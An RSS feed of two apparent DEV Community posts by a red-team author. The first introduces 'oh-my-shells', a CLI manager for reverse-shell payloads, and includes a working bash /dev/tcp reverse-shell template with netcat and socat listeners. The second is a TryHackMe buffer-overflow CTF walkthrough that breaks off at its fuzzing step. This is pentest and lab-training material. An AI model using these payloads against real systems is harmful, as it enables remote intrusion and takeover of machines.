<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ordinary-hacker</title>
    <description>The latest articles on DEV Community by ordinary-hacker (@ordinaryhacker).</description>
    <link>https://dev.to/ordinaryhacker</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3392688%2F679b1590-6d1c-4d97-a492-4837c3e5fd99.jpeg</url>
      <title>DEV Community: ordinary-hacker</title>
      <link>https://dev.to/ordinaryhacker</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ordinaryhacker"/>
    <language>en</language>
    <item>
      <title>Stop Googling Reverse Shells: Meet oh-my-shells</title>
      <dc:creator>ordinary-hacker</dc:creator>
      <pubDate>Sun, 31 Aug 2025 17:23:43 +0000</pubDate>
      <link>https://dev.to/ordinaryhacker/stop-googling-reverse-shells-meet-oh-my-shells-1n36</link>
      <guid>https://dev.to/ordinaryhacker/stop-googling-reverse-shells-meet-oh-my-shells-1n36</guid>
      <description>&lt;p&gt;Hi there! :D&lt;/p&gt;

&lt;p&gt;This post is about a red-team tool I recently built — but first, let’s talk about the problem it solves.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why? — The pain point
&lt;/h2&gt;

&lt;p&gt;Every pentester needs payloads. Whether it’s bypassing file filters, sneaking past WAFs, or popping a shell with a quick &lt;code&gt;/dev/tcp&lt;/code&gt; trick — payloads are the bread and butter of red teaming.&lt;/p&gt;

&lt;p&gt;But here’s the real issue: &lt;strong&gt;where do you keep them?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Maybe you’ve got 10,000 gists bookmarked.&lt;/li&gt;
&lt;li&gt;Maybe there’s a dusty &lt;code&gt;payloads.txt&lt;/code&gt; file sitting in your notes.&lt;/li&gt;
&lt;li&gt;Maybe you spam-refresh &lt;a href="https://www.revshells.com" rel="noopener noreferrer"&gt;revshells.com&lt;/a&gt; every time you need one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of these work, but none of them are perfect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;revshells.com&lt;/strong&gt; is handy, but its listeners don’t adapt to the payload (e.g. no UDP flags). Plus, switching between browser and terminal is clunky.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload lists like PayloadAllTheThings&lt;/strong&gt; are massive, but unless you know exactly where to look, you waste time searching.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Your own notes&lt;/strong&gt; can work — until they grow messy, unorganized, and slow you down.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end of the day, you spend more time digging than hacking.&lt;/p&gt;

&lt;p&gt;So I thought: &lt;em&gt;what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Well… I couldn’t find it.&lt;br&gt;
So I built it.&lt;/p&gt;
&lt;h2&gt;
  
  
  What? — Meet oh-my-shells
&lt;/h2&gt;

&lt;p&gt;So what exactly is it?&lt;br&gt;
&lt;strong&gt;oh-my-shells&lt;/strong&gt; is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.&lt;/p&gt;

&lt;p&gt;The whole point is: &lt;strong&gt;search, pick, run.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some of the main features are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📜 &lt;strong&gt;List&lt;/strong&gt; - Show all payloads or filter them by OS, type, protocol, and/or language.&lt;/li&gt;
&lt;li&gt;🔍 &lt;strong&gt;Search&lt;/strong&gt; — Quickly look up payloads by entering your search term and it'll try to find it on the shell name or description.&lt;/li&gt;
&lt;li&gt;📺 &lt;strong&gt;Show&lt;/strong&gt; - See extra details about any shell rather than just the name and description.&lt;/li&gt;
&lt;li&gt;⚡ &lt;strong&gt;Generate&lt;/strong&gt; — Load a payload and get both the payload itself &lt;em&gt;and&lt;/em&gt; the compatible listeners.&lt;/li&gt;
&lt;li&gt;🛠 &lt;strong&gt;Extend&lt;/strong&gt; — Add your own payloads to the &lt;code&gt;shells/&lt;/code&gt; (I'll explain this later) folder and they’ll just work with the same commands.&lt;/li&gt;
&lt;li&gt;🖥 &lt;strong&gt;CLI workflow&lt;/strong&gt; — No switching windows, everything happens right where you’re working.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Example
&lt;/h3&gt;

&lt;p&gt;Say you want a bash reverse shell. Instead of googling it (again), just:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run &lt;code&gt;oh-my-shells search bash&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbj6kmnq9irscmij9xjgd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbj6kmnq9irscmij9xjgd.png" alt="Image of the command output" width="800" height="644"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Then run &lt;code&gt;oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9o32mdweompev9r3q94.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9o32mdweompev9r3q94.png" alt="Image of the command output" width="800" height="494"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And that’s it — you’re ready to go.&lt;/p&gt;
&lt;h2&gt;
  
  
  How? - Under the hood
&lt;/h2&gt;

&lt;p&gt;So how does this thing actually work?&lt;br&gt;
At its core, &lt;strong&gt;oh-my-shells&lt;/strong&gt; is just a big organized collection of payload definitions written in TOML.&lt;br&gt;
Every payload is a little self-contained &lt;code&gt;.toml&lt;/code&gt; file that describes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ The &lt;strong&gt;ID&lt;/strong&gt; and human-friendly name&lt;/li&gt;
&lt;li&gt;🖥 The target &lt;strong&gt;OS&lt;/strong&gt;, &lt;strong&gt;type&lt;/strong&gt; (reverse/bind), protocol, and language&lt;/li&gt;
&lt;li&gt;💬 A short description&lt;/li&gt;
&lt;li&gt;💣 The actual payload string (with placeholders like &lt;code&gt;{{LHOST}}&lt;/code&gt; and &lt;code&gt;{{LPORT}}&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;🎧 A set of compatible &lt;strong&gt;listeners&lt;/strong&gt; (because not all netcats are equal)&lt;/li&gt;
&lt;li&gt;🐚 Which &lt;strong&gt;shells&lt;/strong&gt; it plays nicely with&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s a real example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="py"&gt;id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"bash_196"&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Bash 196"&lt;/span&gt;
&lt;span class="py"&gt;os&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"unix"&lt;/span&gt;
&lt;span class="py"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"reverse"&lt;/span&gt;
&lt;span class="py"&gt;proto&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"tcp"&lt;/span&gt;
&lt;span class="py"&gt;lang&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"bash"&lt;/span&gt;
&lt;span class="py"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."&lt;/span&gt;

&lt;span class="py"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"exec 196&amp;lt;&amp;gt;/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196"&lt;/span&gt;

&lt;span class="nn"&gt;[listeners]&lt;/span&gt;
&lt;span class="py"&gt;nc&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"nc -lvnp {{LPORT}}"&lt;/span&gt;
&lt;span class="py"&gt;busybox_nc&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"busybox nc -lp {{LPORT}}"&lt;/span&gt;
&lt;span class="py"&gt;socat&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"&lt;/span&gt;

&lt;span class="nn"&gt;[shells]&lt;/span&gt;
&lt;span class="py"&gt;compatible&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/bin/bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/usr/bin/env bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.&lt;/p&gt;

&lt;h3&gt;
  
  
  The file structure
&lt;/h3&gt;

&lt;p&gt;To keep everything tidy (and make searching fast), payloads live in a &lt;strong&gt;Metasploit-style folder tree&lt;/strong&gt; under &lt;code&gt;shells/&lt;/code&gt;.&lt;br&gt;
It’s organized by OS, type, and protocol — so you can quickly drill down to what you need:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;shells/
├── unix
│   ├── reverse
│   │   ├── tcp
│   │   │   ├── bash_196.toml
│   │   │   ├── perl_pentestmonkey.toml
│   │   │   ├── python3_shortest.toml
│   │   │   └── zsh.toml
│   │   │   └── ...
│   │   └── udp
│   │       ├── bash_udp.toml
│   │   │   └── ...
│   └── bind
│       └── tcp
│           ├── nc_bind.toml
│           ├── ...
│           └── perl_bind.toml
├── windows
│   └── reverse
│       └── tcp
│           ├── powershell_1.toml
│           ├── python3_windows.toml
│           ├── ...
│           └── nc_exe_e.toml
└── all
    └── web
        ├── php_cmd.toml
        ├── ...
        └── p0wny_shell.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why TOML?
&lt;/h3&gt;

&lt;p&gt;Because it's:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;human-readable (cleaner than JSON, less indentation pain than YAML),&lt;/li&gt;
&lt;li&gt;easy to parse in basically every language,&lt;/li&gt;
&lt;li&gt;and simple enough that contributors with low technical knowledge can add payloads without needing to dive too deep into the internals of this tool&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All you need is to drop a &lt;code&gt;.toml&lt;/code&gt; in the right folder and boom — oh-my-shells picks it up.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adding your own payload
&lt;/h3&gt;

&lt;p&gt;Adding a new payload is ridiculously easy — no coding required. Just:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pick the right folder&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Find the folder that matches the OS, type, and protocol. For example:&lt;br&gt;&lt;br&gt;
&lt;code&gt;shells/unix/reverse/tcp/&lt;/code&gt; or &lt;code&gt;shells/windows/reverse/http/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy an existing TOML as a template&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;cp &lt;/span&gt;bash_196.toml my_new_payload.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Edit your TOML&lt;/strong&gt;
Change the &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;payload&lt;/code&gt;, and &lt;code&gt;listeners&lt;/code&gt;. Make sure your have the &lt;code&gt;{{LHOST}}&lt;/code&gt; and &lt;code&gt;{{LPORT}}&lt;/code&gt; placeholders in the payload string.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;List compatible shells&lt;/strong&gt;
Add any shells that your payload can safely run under:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;   &lt;span class="nn"&gt;[shells]&lt;/span&gt;
   &lt;span class="py"&gt;compatible&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"dash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"very-cool-stuff"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: If your payload doesn't invoke any shell, like with the &lt;code&gt;-i&lt;/code&gt; flag for example, you can skip the &lt;code&gt;shells&lt;/code&gt; section completely.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Done!&lt;/strong&gt;
oh-my-shells automatically detects the new file. Test it with:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   oh-my-shells search new
   oh-my-shells show my_new_payload
   oh-my-shells generate my_new_payload &lt;span class="nt"&gt;-H&lt;/span&gt; 10.10.10.10 &lt;span class="nt"&gt;-P&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it — your payload is now fully integrated and ready to use.&lt;/p&gt;

&lt;h2&gt;
  
  
  Want to get it?
&lt;/h2&gt;

&lt;p&gt;Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the &lt;code&gt;shells&lt;/code&gt; folder on the same directory to work.&lt;/p&gt;

&lt;p&gt;To install it you must at least have on your system: &lt;code&gt;make&lt;/code&gt; (plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the &lt;code&gt;install.sh&lt;/code&gt; script in any way.&lt;/p&gt;

&lt;p&gt;This &lt;code&gt;install.sh&lt;/code&gt; I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | &lt;span class="nb"&gt;sudo &lt;/span&gt;bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script will: clone the Github repository to &lt;code&gt;/opt&lt;/code&gt;, use &lt;code&gt;make&lt;/code&gt; to build the binary, symlink the resulting &lt;code&gt;oh-my-shells&lt;/code&gt; binary to &lt;code&gt;/usr/local/bin/oh-my-shells&lt;/code&gt;. And... as simple as that the tool is now installed!&lt;/p&gt;

&lt;h2&gt;
  
  
  Contributing &amp;amp; Feedback
&lt;/h2&gt;

&lt;p&gt;Found a bug, have a recommendation, got a cool feature idea, or want to contribute by adding more payloads? Then you are completely free to open an issue/PR on the &lt;a href="https://github.com/ordinary-hacker/oh-my-shells" rel="noopener noreferrer"&gt;Github repository&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>payloads</category>
      <category>redteam</category>
      <category>shells</category>
      <category>pentesting</category>
    </item>
    <item>
      <title>Brainstorm - TryHackMe CTF Walkthrough</title>
      <dc:creator>ordinary-hacker</dc:creator>
      <pubDate>Sun, 10 Aug 2025 13:17:00 +0000</pubDate>
      <link>https://dev.to/ordinaryhacker/brainstorm-tryhackme-ctf-walkthrough-4d4m</link>
      <guid>https://dev.to/ordinaryhacker/brainstorm-tryhackme-ctf-walkthrough-4d4m</guid>
      <description>&lt;p&gt;Hello :D, and welcome to this walkthrough for a quite-challenging buffer overflow CTF! To be honest this room probably took me more to complete than it should have, but hopefully you'll still find this useful and enjoyable!&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial Enumeration
&lt;/h2&gt;

&lt;p&gt;Our first task is to answer two questions: how many ports are open, and the name of an executable file we need to find.&lt;/p&gt;

&lt;h3&gt;
  
  
  Port Scanning
&lt;/h3&gt;

&lt;p&gt;I started with a standard &lt;code&gt;nmap&lt;/code&gt; scan, but ran into immediate issues with timing, as for whatever reason some timeouts caused &lt;code&gt;nmap&lt;/code&gt; to put insane delays between requests. Therefore the default scan was taking forever, so I had to add the &lt;code&gt;-T4&lt;/code&gt; flag to speed things up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.X.X.X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed our target ports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for 10.X.X.X
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
3389/tcp open  ms-wbt-server Microsoft Terminal Services  
9999/tcp open  abyss?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer: 3 ports are open&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The interesting part is port 9999 running an unknown service. The nmap fingerprint shows it's some kind of chat application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters):
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  FTP Enumeration
&lt;/h3&gt;

&lt;p&gt;Since we have FTP running, and it's exactly what one thinks first when it comes to file transfer more than a Python HTTP server, I decided to check if anonymous access was enabled. Microsoft FTP servers sometimes allow &lt;code&gt;anonymous&lt;/code&gt; login:&lt;/p&gt;

&lt;p&gt;Using macOS Finder (you can use any FTP client), I connected with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User: &lt;code&gt;anonymous&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: (left blank)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Luckily this worked! Inside the FTP server I found a single directory:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx8i4xe5uipmrkgmzd8c3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx8i4xe5uipmrkgmzd8c3.png" alt="a screenshot of this dir" width="510" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Which inside had some files:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F707870ux4q3zyrue0vrg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F707870ux4q3zyrue0vrg.png" alt="a screenshot of the files in the dir" width="574" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These two are very likely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;chatserver.exe&lt;/code&gt; - The main application&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;essfunc.dll&lt;/code&gt; - A dependency DLL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer: The executable file is &lt;code&gt;chatserver.exe&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding the Target Application
&lt;/h3&gt;

&lt;p&gt;Before diving into exploitation, I wanted to understand the normal behavior. Using telnet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;telnet 10.X.X.X 9999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application flow is simple:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Asks for username (max 20 characters)&lt;/li&gt;
&lt;li&gt;Prompts to write a message&lt;/li&gt;
&lt;li&gt;Acts like a basic chat server&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I also checked the line ending format as I though it would be important to exploitation using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc 10.X.X.X 9999 | hexdump &lt;span class="nt"&gt;-C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output shows &lt;code&gt;0a&lt;/code&gt; (LF) characters, confirming it uses Unix-style line endings rather than Windows CRLF.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting Up the Testing Environment
&lt;/h2&gt;

&lt;h3&gt;
  
  
  VM Setup
&lt;/h3&gt;

&lt;p&gt;To properly analyze this Windows application, I needed a Windows environment with Immunity Debugger. Based on the nmap OS detection (which suggested Windows Server 2008 R2), I set up a Windows 7 VM in VirtualBox.&lt;/p&gt;

&lt;p&gt;Then I installed everything I needed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Immunity Debugger&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mona.py&lt;/code&gt; plugin&lt;/li&gt;
&lt;li&gt;Python because both Immunity Debugger and &lt;code&gt;mona.py&lt;/code&gt; (duh) depend on it&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  File Transfer
&lt;/h3&gt;

&lt;p&gt;I downloaded the files from the FTP server and transferred them to my Windows VM using Python's built-in HTTP server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On host machine&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080

&lt;span class="c"&gt;# Then download from VM browser&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Static Analysis Phase
&lt;/h2&gt;

&lt;p&gt;Before dynamic testing, I decided to do static analysis using Ghidra to understand the application structure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Main Application Analysis
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;chatserver.exe&lt;/code&gt; analysis revealed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Standard socket server setup on port 9999&lt;/li&gt;
&lt;li&gt;Calls to &lt;code&gt;_EssentialFunc1&lt;/code&gt; from the external DLL&lt;/li&gt;
&lt;li&gt;A suspicious function called &lt;code&gt;_Overflow&lt;/code&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="kr"&gt;__cdecl&lt;/span&gt; &lt;span class="nf"&gt;_Overflow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;local_7dc&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2008&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_7dc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This is our vulnerability!&lt;/strong&gt; The function copies user input into a 2008-byte buffer without any sort of bounds checking.&lt;/p&gt;

&lt;h3&gt;
  
  
  DLL Analysis
&lt;/h3&gt;

&lt;p&gt;The CTF says we need to find any function with both ASLR and DEP disabled, these two aren't exactly tied to specific functions but whole executables, in this case by looking at the PE header the dependency DLL did't have these protections enabled. First I opened up the DLL with Ghidra.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;essfunc.dll&lt;/code&gt; contains several functions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;_EssentialFunc1&lt;/code&gt;: Debug message function&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_EssentialFunc2-9&lt;/code&gt;: These looked empty in Ghidra initially&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_EssentialFunc10-14&lt;/code&gt;: Various buffer copy functions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Though eventually when looking deeper for any instructions we could use (usually &lt;code&gt;jmp esp&lt;/code&gt;) I used IDA instead of Ghidra and was able to see all of the functions &lt;code&gt;_EssentialFunc2-9&lt;/code&gt; actually contained a single thing: a &lt;code&gt;jmp esp&lt;/code&gt; instruction preceded by some setup instructions that aren't important.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking ASLR/DEP Status
&lt;/h3&gt;

&lt;p&gt;If you wonder how I confirmed the DLL has protections disabled, I checked the PE header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check PE header offset&lt;/span&gt;
xxd &lt;span class="nt"&gt;-s&lt;/span&gt; 0x3C &lt;span class="nt"&gt;-l&lt;/span&gt; 4 essfunc.dll
&lt;span class="c"&gt;# Output: 8000 0000 (offset at 0x80)&lt;/span&gt;

&lt;span class="c"&gt;# Check DllCharacteristics  &lt;/span&gt;
xxd &lt;span class="nt"&gt;-s&lt;/span&gt; 0xDE &lt;span class="nt"&gt;-l&lt;/span&gt; 2 essfunc.dll
&lt;span class="c"&gt;# Output: 0000 (no protection flags set)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms ASLR and DEP are disabled on the DLL - which is just what we need!&lt;/p&gt;

&lt;h2&gt;
  
  
  Dynamic Analysis and Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Initial Fuzzing
&lt;/h3&gt;

&lt;p&gt;I created a Python fuzzer to find the crash point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
